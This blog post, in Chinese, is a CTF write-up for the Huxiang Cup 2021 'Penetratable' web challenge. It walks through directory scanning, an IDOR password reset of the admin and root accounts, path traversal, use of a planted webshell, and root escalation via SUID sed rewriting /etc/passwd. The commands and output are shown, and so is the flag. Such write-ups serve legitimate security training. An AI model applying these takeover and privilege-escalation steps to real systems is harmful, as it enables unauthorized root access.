SUID提权

[湖湘杯 2021 final]Penetratable

这题很有渗透的感觉,建议当成渗透题目来做

可以先扫描一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(wells㉿XiaoWEI)-[~]
└─$ sudo dirsearch -u http://node4.anna.nssctf.cn:28571/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/wells/reports/http_node4.anna.nssctf.cn_28571/__25-03-27_21-36-09.txt

Target: http://node4.anna.nssctf.cn:28571/

[21:36:09] Starting:
[21:36:14] 403 - 288B - /.ht_wsr.txt
[21:36:14] 403 - 288B - /.htaccess.bak1
[21:36:14] 403 - 288B - /.htaccess.orig
[21:36:14] 403 - 288B - /.htaccess_extra
[21:36:14] 403 - 288B - /.htaccess.sample
[21:36:14] 403 - 288B - /.htaccess.save
[21:36:14] 403 - 288B - /.htaccessBAK
[21:36:14] 403 - 288B - /.htaccess_sc
[21:36:14] 403 - 288B - /.htaccess_orig
[21:36:14] 403 - 288B - /.htaccessOLD
[21:36:14] 403 - 288B - /.htaccessOLD2
[21:36:14] 403 - 288B - /.htm
[21:36:14] 403 - 288B - /.html
[21:36:14] 403 - 288B - /.htpasswds
[21:36:14] 403 - 288B - /.httr-oauth
[21:36:14] 403 - 288B - /.htpasswd_test
[21:36:15] 403 - 288B - /.php
[21:36:28] 301 - 335B - /app -> http://node4.anna.nssctf.cn:28571/app/
[21:36:28] 200 - 520B - /app/
[21:36:33] 301 - 338B - /config -> http://node4.anna.nssctf.cn:28571/config/
[21:36:33] 200 - 487B - /config/
[21:36:53] 200 - 0B - /phpinfo.php
[21:36:59] 403 - 288B - /server-status/
[21:36:59] 403 - 288B - /server-status
[21:37:03] 301 - 338B - /static -> http://node4.anna.nssctf.cn:28571/static/

有一个phpinfo.php但直接访问没有任何东西

回到主题页面来

通过修改id参数可以知道有两个用户一个root一个admin,尝试构造注入等也没有任何收获

在findsomething中能找到已知的路由

1
2
3
4
5
6
7
8
9
10
11
/?c=admin
/?c=admin&m=updatePass
/?c=app&m=login
/?c=app&m=register
/?c=app&m=signOut
/?c=root
/?c=root&m=downloadRequestLog&filename=
/?c=root&m=getLogList
/?c=root&m=getUserInfo
/?c=user
/?c=user&m=updateUserInfo

尝试直接登录/?c=admin/?c=root会提示没有权限

尝试注册一个正常的用户,登录进去后会发现有修改密码的功能

这里可以修改自己的密码,想越权到修改其他用户的密码

尝试抓包修改

发现成功修改admin的密码,但在修改root的时候被提示没有权限

这里猜测可以通过/?c=admin&m=updatePass这个路由进行修改root用户的密码

登录admin用户,查看/?c=admin&m=updatePass中所需要的参数

/static/js/req.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function updatePass(){
// let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
// let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
// let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
// let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
// $.ajax({
// url: '/?c=admin&m=updatePass',
// type: 'post',
// data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// // async:true,
// dataType: 'text',
// success: function(data){
// alertHandle(data);
// }
// });
}

尝试使用这个被注释的路由,通过这个路由成功修改root的密码

登录进root的面板发现有个log的文件,与/?c=root&m=downloadRequestLog&filename=与之对应,发现有个目录穿越,发现在根目录有/flag文件但无法读取,应该是需要提权的

这边犯傻了,把所有文件都看了一遍还以为在主体代码有什么rce漏洞,后面才注意到最开始扫到的phpinfo.php这个文件。。。

通过CMD5查询到Webshell的密码为1q2w3e

反弹个shell后查看一下flag的文件权限

1
-r--------   1 root root   45 Mar 27 15:20 flag

看来是要提权,先看一下suid提权

1
2
3
4
5
6
7
8
9
10
11
www-data@6aae652213e24b63:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/sed
/bin/umount
/bin/mount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign

发现有sed,尝试使用sed替换/etc/passwd中密码的部分

1
2
3
4
5
6
7
www-data@6aae652213e24b63:/var/www/html$ perl -le 'print crypt("test","addedsalt")'
adMpHktIn0tR2
www-data@6aae652213e24b63:/var/www/html$ sed -i 's/root:x/root:adMpHktIn0tR2/g' /etc/passwd
www-data@6aae652213e24b63:/var/www/html$ su
Password:
root@6aae652213e24b63:/var/www/html# cat /flag
NSSCTF{689a8f95-ec99-490e-8dbf-65f9df21d716}

本站由 Wells 使用 Stellar 主题创建。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。